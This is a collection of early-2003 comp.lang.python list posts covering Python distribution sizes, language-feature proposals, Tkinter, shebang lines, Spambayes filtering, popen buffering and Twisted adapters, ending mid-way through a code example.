> that's one of the many attractions of Python - everyone can use it.
> 
> A rough draft of my first two applications, written in Visual Basic,
> produced .exe files that are 350-460 KB.  The complete application would
> probably be about 750 KB.  A data file, for 12 months, for a typical user,
> would be about 500 KB.  So, the entire app and one year's data would easily
> fit on a floppy disk, and could be used at home, school, work, or the
> library.

You might have a problem with the single floppy and Python, depending
on the modules that you make use of (and in particular if you involve
a GUI or not).  You'd probably have to target a mode where the
application got installed on the hard drive, but the floppy was used
for data transport.

In my case, a Python 1.5.2 application with wxPython 2.2.1 as the GUI,
resulted in a single .EXE installer of about 2MB and an installed size
in the 5MB range.  Moving up to Python 2.2 and wxPython 2.3.x would
undoubtably grow that a bit.  So you really couldn't fit even the
installer on a single floppy (although 2 is fine).  That includes a
256K data file that is part of the application.  Now, wxPython is a
fairly large DLL (and can't really be segmented based on your specific
needs unless you rebuild from source); I think a Tk based application
might shave a MB or so off of the installed size.

I'm a little surprised at your VB sizes though, given that at least on
my system, the basic runtime file (msvbvm*.dll) was over 1.3MB for
both VB 5.0 and 6.0, so it would seem to me that you couldn't fit your
VB application on a diskette either.  You might be able to fit an
installer, but you'd need the files expanded somewhere for actual
execution.  Unless you're assuming the user already has the runtime
installed (granted, for VB that's somewhat safe), in which case you're
comparing apples to oranges since the Python numbers include the
runtime while the VB numbers don't.

Taking a quick glance at an old VB 6 application that we also
distribute, using the VB packager ended up with a 140K setup.exe and a
1.9MB primary .CAB file.  Now, some of that space was a large help
file, but the majority was the RTL (msvbvm60, some ole* files, the
common controls, etc...), so even without the help file I don't think
it would fit on a floppy.  And that's just the installer - not a
version you could execute from the floppy.

Heck, getting a full application onto a single floppy including
runtime is probably difficult in most any language nowadays (you could
probably do it with pure C/C++ as long as you stuck with raw Win32 and
not MFC).  So you're left assuming some of your language runtime is
already present on the target system - which therefore tips the scales
in the direction of stuff already likely to be present on a Windows
system (e.g., Microsoft development languages).  Even that may be
risky though - e.g., older systems may not have a VB 6.0 runtime,
although if they've updated any number of standard applications it
probably came along for the ride.

Note that this problem even exists with newer MS environments.  If you
wanted to do any .NET stuff (VB .NET, C#, etc...) you'd either have to
distribute the .NET CLR with your application or make the user install
it first.

In short, if your goal is to have an executable that can run from a
floppy, I think you have to assume that the runtime needed by that
executable will already be on the systems.  You'll thus minimize your
risk (but not negate it) by using something like VB or VC since the
odds are with you the needed runtime is present.  But if you instead
plan a process where the runtime is a separate installation on the
target machines, then Python would be as efficient (and probably even
more so) in terms of size for distribution of the final application.

> Downloading and installing Python on every user's machine is not acceptable,
> to me.

I read this as you're already assuming that installing something like
the VB runtime is acceptable.  I won't claim that's unfair, since
that's just the way the world is (that's an entrenched runtime likely
to already be present and/or machines are more likely to silently keep
getting VB runtime updates without them knowing), but I do think you
need to recognize the assumption.  And if that's a block to using
Python, it's certainly a fair point.

> PS:  I quite strongly disagree with the nutritional advice given by your
> company.

I'm not really involved with that side of things (I'm tech, not
nutrition - it's content generated by external "experts") but feel
free to provide feedback through the site to anything you disagree
with - can't say it's all that surprising to see debate about diets
and nutrition.  Personally, I'm a moderate-carb guy :-)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From martin at v.loewis.de  Wed Jan 15 11:54:54 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 15 Jan 2003 17:54:54 +0100
Subject: pybsddb and python 2.3
References: <b03sqp$fni$1@svr8.m-online.net>
Message-ID: <m3r8bee4kh.fsf@mira.informatik.hu-berlin.de>

Johannes Stiehler <johannes.stiehler at fast.no> writes:

> does anybody know what the long-term strategy will be for synchronizing
> pybsddb and python bsddb module development?

The pybsddb project is dead; all further improvements are incorporated
into the Python source code. Only if there is significant demand (and
I guess a volunteer), another release of pybsddb will be made.

> Pybsddb seems to be incorporated into python now, but the sourceforge
> version supports sleepycat bssdb 4.1 and the version in python only 4.0.

Not anymore; 2.3a2 will support bsddb 4.1 as well.

> Will this be updated for the next release or should we all stick to db 4.0
> in order not to introduce incompatibilities with future python releases
> into our code?

You might want to stick to db 4.0 anyway; I think the changes that
Sleepycat made for 4.1 are still debated. Of course, if you don't use
transactions, it might not matter.

Regards,
Martin



From mwilson at the-wire.com  Wed Jan  1 21:15:33 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Wed, 01 Jan 2003 21:15:33 -0500
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net>
 <v14ch7mkp0vu55@news.supernews.com>
 <mailman.1041382562.17669.python-list@python.org>
 <v15qgkgpq72tbf@news.supernews.com>
 <3759308d.0301011401.4b32deba@posting.google.com>
Message-ID: <FD6E+ks/KfxU089yn@the-wire.com>

In article <3759308d.0301011401.4b32deba at posting.google.com>,
rpgnmets at aol.com (Rob Renaud) wrote:
>So then the question becomes, why don't append(), sort(), reverse()
>return a new list and not modify the original?  Are mutable objects
>themselves a wart on the langauge?

   A mutable object is a sharable object.  With a mutable
list you can change one element, or more elements, without
lousing up everybody else's binding to the list.

        Regards.        Mel.



From imbosol at vt.edu  Tue Jan 21 22:52:24 2003
From: imbosol at vt.edu (Carl Banks)
Date: Wed, 22 Jan 2003 03:52:24 GMT
Subject: Can anyone decode this Perl code, please?
References: <ba1e306f.0301211907.25fc9037@posting.google.com>
Message-ID: <YzoX9.8536$im4.8452@nwrddc01.gnilink.net>

Jane Austine wrote:
> I am reading Object-Oriented Reengineering Patterns. I really enjoy
> this book. On p.177, however, there is a perl code, which is all Greek
> to me. Can anyone here translate it into a pseudo-code or a python
> code(literal translation might do)?
> 
> Thank you so much.
> 
> #! /usr/bin/env perl -w
> #duplocForCPP.pl - detect duplicated lines of code (algorithm only)
> # Synopsis: duplocForCPP.pl filename ...
> # Takes code (or other) files and collects all line numbers of lines
> # equal to each other within these files. The algorithm is linear(in
> # space and time) to the number of lines in input.
[snip code]


It looks like a simple tool to help detect similar lines of C++ code,
as a refactoring aid.  I don't want to translate it because it's too
long (among other things).

The code is not object-oriented, though; and since your book is
entitled _Object-Oriented Reengineering Patterns_, I suspect this is
simply a helper code, that you don't have to understand to get the
point of the book.  If you have Perl installed (good bet if you're
using Unix), you probably could just use it as is, and not worry about
understanding it.


-- 
CARL BANKS



From yanarkana at yahoo.fr  Wed Jan 15 05:13:07 2003
From: yanarkana at yahoo.fr (Arkana)
Date: 15 Jan 2003 02:13:07 -0800
Subject: Soundex or Metaphone algorithms ?
Message-ID: <199f365a.0301150213.45dbb9a5@posting.google.com>

hello,

does anyone know an implementation of soundex or metaphone algorithm in python ?

(or maybe a better algo)

thanks.



From bokr at oz.net  Fri Jan 10 12:34:55 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 17:34:55 GMT
Subject: YAI: syntax for preset locals without using dummy args with  defaults
References: <avmoeu$v8p$0@216.39.172.122> <mailman.1042213520.2944.python-list@python.org>
Message-ID: <avn07v$ec5$0@216.39.172.122>

On 10 Jan 2003 07:43:23 -0800, Cliff Wells <LogiplexSoftware at earthlink.net> wrote:

>On Fri, 2003-01-10 at 07:22, Bengt Richter wrote:
>> --------------------------------------------------------------------------------
>> [1] Something like
>> 
>>     def foo(x, y=default):
>>         presets:
>>             z = something
>>             pi = __import__('math').pi
>>             twopi = 2.0*pi # not possible in parameter list version
>>             if z < 0: raise ValueError, 'Def-time preset check, possible with presets: block'
>>         if x<0 or y<0: raise ValueError, 'Call-time parameter check'
>>         return pi*(x*x-y*y)
>> 
>> I thought the first version above might be easier to implement, but
>> either way, having a sanctioned way to accomplish safe presetting of
>> function locals should make for a performance boost in many cases.
>> 
>> I think either version will be interesting for method definitions too.
>
>If I understand your intent (only initializing the 'presets' a single
>time), you can get the same performance boost using a class:
>
>class __foo:
>    # presets
>        z = 1
>    pi = __import__('math').pi
>    twopi = 2.0*pi # not possible in parameter list version
>    if z < 0: raise ValueError, 'Def-time preset check, possible with
>presets: block'
>
>    def __call__(self, x, y = 1):
>        if x<0 or y<0: raise ValueError, 'Call-time parameter check'
>        return self.pi*(x*x-y*y)
>
>foo = __foo()
>
>print foo(1, 2)
>print foo(3, 5)
>
>
>Obviously the downside to this approach is the 'superfluous' __foo
>definition that won't be used again, but this works now and doesn't
>require any new syntax.
>
Well, there's a bunch of ways that one "can do it now"(TM). To get
the speed, I think a function returned from a factory function, with
the info in a closure will be about the same speed as default args
(LOAD_DEREF vs LOAD_FAST, which are both going to be faster than
the LOAD_FAST, LOAD_ATTR for dynamically looking up 'self'). Plus it's
not just one more byte code. LOAD_ATTR does more work, even just getting
to instance attributes).

But in any case, IMO the various current ways are workarounds wrt the the
simple concept of starting with preset values in a function and spelling it simply.

IOW, ISTM it's dragging in irrelevant concepts (unless you want to get theoretical)
and code clutter, to force one to think of class definitions or factory functions to
accomplish simple function local presets.

The actual code comparisons:

 >>> import dis
 >>> def foo(x=123): return x
 ...
 >>> dis.dis(foo)
          0 SET_LINENO               1

          3 SET_LINENO               1
          6 LOAD_FAST                0 (x)
          9 RETURN_VALUE
         10 LOAD_CONST               0 (None)
         13 RETURN_VALUE

 >>> def mkbar(x):
 ...     def bar(): return x
 ...     return bar
 ...
 >>> bar = mkbar(123)

 >>> dis.dis(bar)
          0 SET_LINENO               2

          3 SET_LINENO               2
          6 LOAD_DEREF               0 (x)
          9 RETURN_VALUE
         10 LOAD_CONST               0 (None)
         13 RETURN_VALUE

 >>> class mkbaz:
 ...     x = 123
 ...     def __call__(self): return self.x
 ...
 >>> baz = mkbaz()

 >>> dis.dis(baz)
 Disassembly of __call__:
          0 SET_LINENO               3

          3 SET_LINENO               3
          6 LOAD_FAST                0 (self)
          9 LOAD_ATTR                1 (x)
         12 RETURN_VALUE
         13 LOAD_CONST               0 (None)
         16 RETURN_VALUE

Initializing an instance variable should result in faster retrieval
of the attribute, IWT, but the method code looks identical, so the
difference is in what LOAD_ATTR finds to do:

 >>> class mkbaz2:
 ...     def __init__(self,x): self.x = x
 ...     def __call__(self): return self.x
 ... 
 >>> baz2 = mkbaz2(123)
 >>> baz2()
 123
 >>> dis.dis(baz2)
 Disassembly of __call__:
          0 SET_LINENO               3

          3 SET_LINENO               3
          6 LOAD_FAST                0 (self)
          9 LOAD_ATTR                1 (x)
         12 RETURN_VALUE
         13 LOAD_CONST               0 (None)
         16 RETURN_VALUE

 Disassembly of __init__:
          0 SET_LINENO               2

          3 SET_LINENO               2
          6 LOAD_FAST                1 (x)
          9 LOAD_FAST                0 (self)
         12 STORE_ATTR               0 (x)
         15 LOAD_CONST               0 (None)
         18 RETURN_VALUE

So, bottom line, I can do it now, and even get the speed, but I
can't do it with simple concise syntax. It might seem like a trivial
wish, but OTOH, if libraries and new code got written with appropriate
initialized locals, Python would get better speed marks. And people
won't do that if it's a lot of extra typing and clutter. They are
more likely to abuse a default argument and be done with it.

Regards,
Bengt Richter



From tdelaney at avaya.com  Sun Jan 12 20:09:53 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 13 Jan 2003 12:09:53 +1100
Subject: YAI: syntax for preset locals without using dummy args with d
	efaults
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A82E@natasha.auslabs.avaya.com>

> From: Skip Montanaro [mailto:skip at pobox.com]
> 
>     Bengt> Right now we often see
> 
>     Bengt>     def foo(x, y=default, z=some_expression):
>     Bengt>         ...
> 
> This is just a performance hack and should be addressed by 
> other means,
> e.g., more efficient access to global variables.  See, for 
> example, PEPs 266
> and 267.  I believe other not-yet--PEPped proposals have been 
> floated as
> well.

Well, in *some* circumstances (very rare) it's not just a performance hack.

Specifically, if globals() goes away for some reason, you may not be able to
look up the name anymore. Binding it to via a default value allows you to
keep the reference.

In nearly every case though, doing this is a Bad Thing(TM). The *only* case
I've ever seen this is in my coverage module, where I blow everything away
in order to set up a "clean" environment for the module to be covered and
restore it afterwards. The module to be covered also thinks it's the
__main__ module ... ;) Plus the default values are *also* a performance
hack.

Tim Delaney




From z3p at twistedmatrix.com  Sun Jan 12 22:35:31 2003
From: z3p at twistedmatrix.com (Paul Swartz)
Date: Sun, 12 Jan 2003 22:35:31 -0500
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]	MinimalPython project)
In-Reply-To: <3E222FC1.40908@tismer.com>
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
Message-ID: <3E21EDB3.17687.2B81062@localhost>

On 13 Jan 2003 at 4:17, Christian Tismer wrote:

> Bengt Richter wrote:
> > At 03:39 2003-01-13 +0100, Christian Tismer wrote:
> > [...]
> > 
> >>At the same time, as much as possible should become
> >>pluggable. It will be possible to have MiniPy
> > 
> > [...]
> > 
> > Is "MiniPy" the official name ?
> 
> No.
> There is no official name, yet.
> For some time, I was thinking of
> "Lilipyt".
> "Ptn" was the first thought, while
> not sounding very sexy just expressing brevity.
> "Pippy" is already occupied.
> "Minipy"? Well, there are so many "py" projects,
> this makes it hard to come up with a good new name.
> 
> While a name is most unimportant for me,
> I agree that it *is* important for the
> community to be able to spell it.

Well, 'Jython' is in Java, 'CPython' is C, why 
not, 'PyPython' or 'Pyython'?

-p
-- 
     Paul Swartz
(o_  http://twistedmatrix.com/users/z3p.twistd/
//\  z3p at twistedmatrix.com
V_/_ AIM: Z3Penguin





From jbperez808 at yahoo.com  Mon Jan 20 19:39:14 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 20 Jan 2003 16:39:14 -0800
Subject: Continuations
References: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca> <mailman.1043070703.14456.python-list@python.org>
Message-ID: <f57664b9.0301201639.6d407f62@posting.google.com>

Christian Tismer <tismer at tismer.com> wrote in message news:<mailman.1043070703.14456.python-list at python.org>...
> > Every introduction to continuations I've found either describes it using 
> > Scheme, which I haven't touched in a decade, and which I suspect most 
> > people haven't worked with at all, or re-uses the above Python example 
> > with little explanation.
> 
> In Scheme, it is easier to express, and you don't need
> tricks like above.
> While Python doesn't need continuations.
> Stackless focuses on tasklets and channels, now.

I finally understood how continuations worked when I
spent a couple of days working with some examples in 
Scheme.  Nathaniel Gray's, "A Tutorial on Continuations" 
does a great job of demystifying it.  Once I understood
how they worked, I found it really wasn't as arcane
as the impression I first got.  The closest analogy
I could think is that of a bookmark (in execution).



From lac at strakt.com  Wed Jan 29 13:39:33 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 19:39:33 +0100
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!) 
In-Reply-To: Message from "Mark McEahern" <marklists@mceahern.com> 
   of "Wed, 29 Jan 2003 11:23:24 CST." <JHEOKEOOLIGLDHCMAHMOEEEGFPAA.marklists@mceahern.com> 
References: <JHEOKEOOLIGLDHCMAHMOEEEGFPAA.marklists@mceahern.com> 
Message-ID: <200301291839.h0TIdXjL028546@ratthing-b246.strakt.com>

> This point will be argued by others until the cow turns blue.  Thankfully, I
> won't be there to see.  ;-)
> 
> Cheers,
> 
> // m

Or perhaps it won't be.   read http://www.python.org/peps/pep-0666.html

Laura




From lac at strakt.com  Mon Jan 27 15:56:31 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 27 Jan 2003 21:56:31 +0100
Subject: list of Canvases contais only Nones 
In-Reply-To: Message from Meinrad Recheis <meinrad.recheis@aon.at> 
   of "Mon, 27 Jan 2003 21:50:33 +0100." <3E359B99.6060102@aon.at> 
References: <3E359B99.6060102@aon.at> 
Message-ID: <200301272056.h0RKuVjL017555@ratthing-b246.strakt.com>

> hello,
> 
> i am creating a frame with a lot of small canvases on it ant want to
> store the references in a list, but i get a list of nones instead.
> the frame gets created and shows all the canvases! so they are 
> definitely somewhere.
> 
> whats wrong with my code?
> 
> #my try:
> 
> canv_list = []
> root = Tkinter.Tk()
> for j in range(0,y_nr):
>      for i in range(0,x_nr):
>          canv_list.append(Tkinter.Canvas(root,
>                                          width = x_size,
>                                          height = y_size,
>                                          background = 'white',
>                                          border = 0
>                                          ).grid(row=j,column=i)
>                           )
> print canv_list
> 
> # the output of this code:
> 
> [None, None, None, None, None, None]
> 
> Thanks for help, Meinrad Recheis
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

<anything>.grid, and <anything>.pack return None.  You need to make a
list of widget, row, col triplets, and then grid them all in a later
step.

Laura Creighton





From tecargile at hotmail.com  Thu Jan  9 23:12:52 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 9 Jan 2003 20:12:52 -0800
Subject: Use /usr/bin/env python  ... why?
References: <8b67aef5.0301091244.1c6caec1@posting.google.com> <3E1E0BE4.1556EDD6@alcyone.com>
Message-ID: <8b67aef5.0301092012.15db59f5@posting.google.com>

Erik Max Francis <max at alcyone.com> wrote in message news:<3E1E0BE4.1556EDD6 at alcyone.com>...
> Tim Cargile wrote:
> 
> > Use '#!/python' when:
> 
> This cannot be what you really have meant.
>

Yes It was a typo ... or was it a reading comprehension test ...
or was it that I just trying to root for python?  I forget! :-)
No, I haven't resorted to root pythons ... yet! 
 
> > Use '#!env python' when:
> 
> It's unlikely that this was either.

Actually this worked with Cygin ... which is known to be a
little strange.  BUT ONLY when the *.py module was launched
through a shell wrapper that did an 'eval exec *.py'.

See my rather redundant response to Steve Holden re this.

I still failed my usually thorough Q/A phase in a 'rush
to shipit'.  :-)

> 
> > Oh well, at least I have not seen these:
> > 
> >  #!env /usr/bin/python
> > 
> >    and
> > 
> > #!/usr/bin/env /usr/bin/python
> > 
> > These works also, but have yet to observe them in the wild.
> 
> Because they defeat the purpose of using env in the first place.
>

Exactly. Unless there was a 'name=value' arugment to 'env'.
In that case they are the more efficient - BUT potentially problematic
portability-wise.
 
> A few points here:
> 
> You're not guaranteed that env will be in /usr/bin, although admittedly
> it's pretty rare that it is not.

Agreed.  That's how all these scripts can get away with using the
fullpath.  Fullpath is not bad for referencing intrinsic Unix
utilities.
If they moved a lot of shell scripts would break.

> 
> /usr/bin/env python searches the PATH for the first executable named
> `python' and sets up the environment appropriately.  This has the
> benefit of having a good chance of finding a Python interpreter, but has
> the downside that you don't have much choice in which one is chosen (if
> there are multiple installed on the same system).  Furthermore, which
> one it finds is dependent on the PATH, and the PATH can vary quite a bit
> between interactive shells, CGI scripts, and cron jobs.  For instance,
> if you are in the (not uncommon) situation where a legacy interpreter is
> in /usr/bin (possibly one that the installation requires, like in the
> case of Red Hat) and a newer one is /usr/local/bin, you're almost
> certain to find that scripts requiring the more recent interpreter will
> work in interactive shells but won't work in cron jobs or CGI scripts
> (because env will find the legacy interpreter, not the new one).

See my response to Steve Holden and the CM issues involved with
setting
the she-bang line globally and automatically through mass source
editing or a make/build operation.

> 
> A slightly better way is searching for the version you want, e.g.
> /usr/bin/env python2.2, but that presents its own share of problems,
> namely limiting yourself in precisely which interpreter gets found (that
> is, env exists to find it for you, and you're now limiting it).

One approach is to designate a specific fullpath that is guaranteed
(if one has the control) and is the preferred one.  New releases would
have be in a different location for testing and then moved to the
designated fullpath afterwards.  For testing this would mean that
a copied set of all the *.py modules would have to mass-edited
to replace the designated fullpath with the new-release fullpath.
This is fairly easy to do manually with simple tools like 'shar'
and vi if one didn't want to write a script to do it.  The
'#!/usr/bin/env python' (or '#!/usr/bin/python, for that matter)
line is rather unique and could be easily globally edited.
This means a second, complete copy of the source needs to be in
existence
for a period of time. 

> 
> A hard-coded path such as /usr/bin/python or /usr/local/bin/python is
> restrictive but will be guaranteed to get what you want, should what you
> want be in those locations.

And also guaranteed that there are no 'trojans' can sneak in and
variations in $PATH don't nail you as well as the performance gain
from a fullpath execution ...

Need I say more?

> 
> As I said in another thread, there's really no "magic bullet," since
> PATHs can vary from invocation to invocation.  I personally tend to
> prefer /usr/local/bin/... in the bangpath simply because I default to
> assuming that one has control over what's in /usr/local/bin and thus can
> rely on that being more likely to be the version that is desired.

I can go with that.  Whatever 'designated' directory makes sense.
Cygwin plunked 2.2 down in /usr/bin.
 
> Obviously, that can't always be true, but one can always manually change
> the bangpath.  I find that the often surprising unpredictability of
> using env on systems with multiple Python interpreters far outweighs the
> helpfulness of having things "work out of the box."

Agreed.  It got this far with 'env', but maybe it's time for paradigm
shift?

Thanks very much.  Great response!  We're preaching to each other's
choir.



From skip at pobox.com  Tue Jan 14 11:11:58 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Jan 2003 10:11:58 -0600
Subject: OT: spam filtering idea
In-Reply-To: <b0138l$5t1$1@verence.demon.co.uk>
References: <mailman.1042490665.8620.python-list@python.org>
        <b0138l$5t1$1@verence.demon.co.uk>
Message-ID: <15908.14030.608547.989139@montanaro.dyndns.org>

(I haven't the slightest idea if Paul's email address is valid.  Sure looks
weird.) 

    Paul> Indeed. However, I am seeing a lot of "minimalist" spam which is
    Paul> obviously intended to evade body filtering: usually just a URL and
    Paul> a hashbuster. I imagine that they're banking on people being
    Paul> curious enough to click the link. I'm planning on dealing with
    Paul> short spam like this by looking up the website host IP in
    Paul> blacklists, but it's not quite enough of a problem to worry about
    Paul> yet.

Spambayes already looks at URLs.  Minimalist url-containing spam such as you
mention tends to wind up "unsure" until I train on it.  Recent case in
point, lots of spam coming from "big at boss.com".  Your message had nearly 20
url:* tokens in it according to Spambayes tokenizer (sorted here from hammy
to spammy):

    'url:python-list': 0.01
    'url:selm': 0.01
    'url:listinfo': 0.02
    'url:mailman': 0.02
    'url:python': 0.02
    'url:demon': 0.05
    'url:org': 0.06
    'url:groups': 0.09
    'url:mail': 0.09
    'url:google': 0.14
    'url': 0.35
    'url:com': 0.63
    'url:html': 0.68
    'url:www': 0.69
    'url:co': 0.85
    'url:pobox': 0.90
    'url:18': 0.92
    'url:11': 0.94

And it's faster (and probably more accurate) than consulting an off-site
oracle to boot.

I've been using Spambayes since before November 1 (my oldest .procmailrc
backup file).  I see no false positives and a modest number of unsures and
false negatives.  Much better than pre-Spambayes (which was SpamAssassin).
After the initial big training run (lots of both ham and spam), I have only
been training on unsure or incorrectly classified messages.

Skip




From newt_e at blueyonder.co.uk  Tue Jan 28 17:39:35 2003
From: newt_e at blueyonder.co.uk (Newt)
Date: Tue, 28 Jan 2003 22:39:35 GMT
Subject: .pyc files
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net> <3E35F105.27C32244@engcorp.com> <_anZ9.1126$8p1.805@nwrddc04.gnilink.net> <3E368D1A.FF61316A@engcorp.com>
Message-ID: <HEDZ9.4327$va6.27627700@news-text.cableinet.net>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E368D1A.FF61316A at engcorp.com...
> Carl Banks wrote:
> >
> > Peter Hansen wrote:
> > > Newt wrote:
> > >>
> > >> From a command line, how do I create pyc files? I know I can do it
from
> > >> within IDLE, but I want to use a different editor (for other
languages).
> > >
> > > I just started wondering, why do you want to do this?  Do you
> > > realize that Python automatically creates the pyc files for
> > > you when you import modules?  It is only in rare cases that
> > > you actually need to generate a .pyc file "manually".  Maybe
> > > this is not such a case?  Just wondering...
> >
> > Maybe he's trying to install a package by hand.  If you just copy the
> > .py files to a library directory, a user python process couldn't store
> > the .pyc files, so you compile the .py files before copying.
>
> I got the impression from the "I want to use a different editor" part
> that he thinks he needs to compile Python code from within the editor
> before running it during development, just as you often do in an IDE
> for a statically compiled language such as C.  Maybe your theory is
> closer to the truth though.
>
> -Peter

As suggested, I want to compile from within IDE so that my .pyc file gets
updated.
Perhaps there is an alternative approach though.
Is it possible to force an import to reproduce the .pyc file? e.g. if I have
a file newt_i.py, which is imported by newt.py, then
when I first run it newt_i.pyc get 'compiled' to newt_i.pyc. If I then
change newt_i.py, and run newt.py, then it will still import the existing
newt_i.pyc, not a .pyc version of the new file. Is this correct?

Would reload(newt_i) (within the relevent code) do the trick?

Newt





From akjmicro at yahoo.com  Fri Jan 24 16:37:40 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Fri, 24 Jan 2003 15:37:40 -0600
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <v339gg9p1rlb3e@news.supernews.com>
Message-ID: <b0sbn3$rk3$1@bob.news.rcn.net>

In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
> 
> I don't understand. Number of unique posters in the last 200 posts to a
> newsgroup I understand,
> and 647 to the (one) Python newsgroup I understand, but I don't
> understand how you get
> 647 different posters out of the last 200 posts.
> 
> Oh, and Clipper is an old data base language, somewhere in the dbase
> family.

oops, sorry....I meant 2000!




From nhodgson at bigpond.net.au  Fri Jan 24 03:29:23 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Fri, 24 Jan 2003 08:29:23 GMT
Subject: Unloading COM dlls, help needed
References: <r8b3sj45.fsf@python.net>
Message-ID: <DP6Y9.23898$m47.76584@news-server.bigpond.net.au>

Thomas Heller:

> I think I got everything correct, COM reference counting seems OK,
> DllCanUnloadNow returns correct values, all I can think of.

   I recall much discussion of this sort of thing when I was doing COM work
several years ago with Microsoft applications avoiding and delaying
unloading DLLs because of bugs in COM objects.

   Google Groups for "CoFreeUnusedLibraries explorer" and you will see
comments like "I just did a couple of tests with SHLoadInProc on W2K and it
appears that they no longer bother about unloading DLLs at all. The 10
minute unload time of Win9x and NT4 may have been annoying, but it was
better than nothing." There is a technique for reducing the wait on other
versions of Windows:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer]
AlwaysUnloadDll=1
   Search for AlwaysUnloadDll on MSDN for some useful information.

   Neil





From andrew-pythonlist at puzzling.org  Fri Jan 17 05:31:29 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 17 Jan 2003 21:31:29 +1100
Subject: help!! getting output from another process line by line, using popen
In-Reply-To: <b08ka1$q8l8@imsp212.netvigator.com>
References: <b08ka1$q8l8@imsp212.netvigator.com>
Message-ID: <20030117103129.GA4008@frobozz.local>

On Fri, Jan 17, 2003 at 06:06:01PM +0800, cout wrote:
> Help!!
> 
> There are 2 python scripts, one is to print out the output(output.py),
> the other is supposed to get std output from output.py line by line.
> However, it only get all the result after 40 seconds. Not during the
> executing process. Any ideas?
> 
> ===========output.py==============
> #! /usr/bin/python
> 
> import time
> 
> for i in range(1,20,1):
>         print i
>         time.sleep(2)

import sys, and do a sys.stdout.flush() after the print.

> ================monitor.py===============
> #! /usr/bin/python
> 
> import os
> import sys, string
> cmd="python output.py"

Alternatively, run "python -u output.py".

> handle = os.popen(cmd, 'r', 1)
> for line in handle:
>     print line,
> handle.close()

-Andrew.





From skip at pobox.com  Thu Jan  2 16:50:36 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Jan 2003 15:50:36 -0600
Subject: Extension modules, Threading, and the GIL
In-Reply-To: <m34r8r5jwr.fsf@mira.informatik.hu-berlin.de>
References: <ufzsgi9ao.fsf@boost-consulting.com>
        <20021230145912.GA8481@panix.com>
        <ud6njfshh.fsf@boost-consulting.com>
        <ulm27cvdx.fsf@boost-consulting.com>
        <ausj3l$ipd$0@216.39.172.122>
        <ausjsg$c6f$07$1@news.t-online.com>
        <aust1q$9on$0@216.39.172.122>
        <ausul3$qmc$07$1@news.t-online.com>
        <aut8lp$61d$0@216.39.172.122>
        <m3znql2wwk.fsf@mira.informatik.hu-berlin.de>
        <put81v8satrhqa3cno3d9kh5fhvfuei6gh@4ax.com>
        <m34r8r5jwr.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15892.46124.753708.971905@montanaro.dyndns.org>

    >> Looking over the thread-sig archives, Greg Stein suggested that TLS
    >> could be emulated on platforms which don't offer it natively using a
    >> Python dict and a lock (at any rate, it should be possible with some
    >> sort of synchronized data structure).

    Martin> This points to another sore spot: that would require reliable
    Martin> thread identification. Currently, thread identification is
    Martin> broken, as Python assumes that an int is sufficient to
    Martin> encapsulate a thread id. There are platforms where this
    Martin> assumption is invalid.

Perhaps a ThreadIdentifier class should be developed as an abstraction of
the thread id.  Instances of that class would then encapsulate the actual
identifier returned by the specific thread package being used.  Make
ThreadIdentifier immutable so you can use it in the aforementioned fake TLS.

Skip





From exarkun at intarweb.us  Mon Jan 20 17:47:14 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Mon, 20 Jan 2003 17:47:14 -0500
Subject: a single class supporting multiple facets/interfaces
In-Reply-To: <3E2BEFAC.2060101@icqmail.com>
References: <3E2BEFAC.2060101@icqmail.com>
Message-ID: <20030120224714.GA28746@meson.dyndns.org>

On Mon, Jan 20, 2003 at 05:46:36AM -0700, David Garamond wrote:
> i want to have a class that can support multiple sets of methods, based 
> on what the client requests. for example, see the following code:
> 
> [snip code]
> 
> if a client wants interface 1, then she will get foo and bar (which is 
> actually bar1). if he picks interface 2, then she will get foo and bar 
> (which is actually bar2). for all she cares, she just wants to know/deal 
> with a single [versatile] class, C. and from that single class, she can 
> pick several sets of features/interfaces she needs/wants.
> 
> the above code does what i want to accomplish, but i think it's very 
> ugly. can anyone make it more elegant?
> 

  Twisted provides a generalized way to get this behavior with what are
called "Interfaces", "Adapters", and "Components".  Adapters provide the
implementation for Interfaces (these two together are sort of what you term
"Facets"), while Components are the actual underlying objects that are being
operated upon.

from twisted.python import components

class C(components.Componentized):
    # C class definition omitted for brevity/clarity
    pass

class IGoodStuff(components.Interface):
    def foo(self):
        """Display some fooey goodness"""

    def bar(self):
        """Display some quality bar"""


class CAdapter(components.Adapter):
    def foo(self):
        self.original.foo()

class VersionOneAdapter(CAdapter):
    __implements__ = (IGoodStuff,)

    def bar(self):
        self.original.bar1()

class VersionTwoAdapter(CAdapter):
    __implements__ = (IGoodStuff,)

    def bar(self):
        self.original.bar2()

# Set the adapter to be used for this interface globally
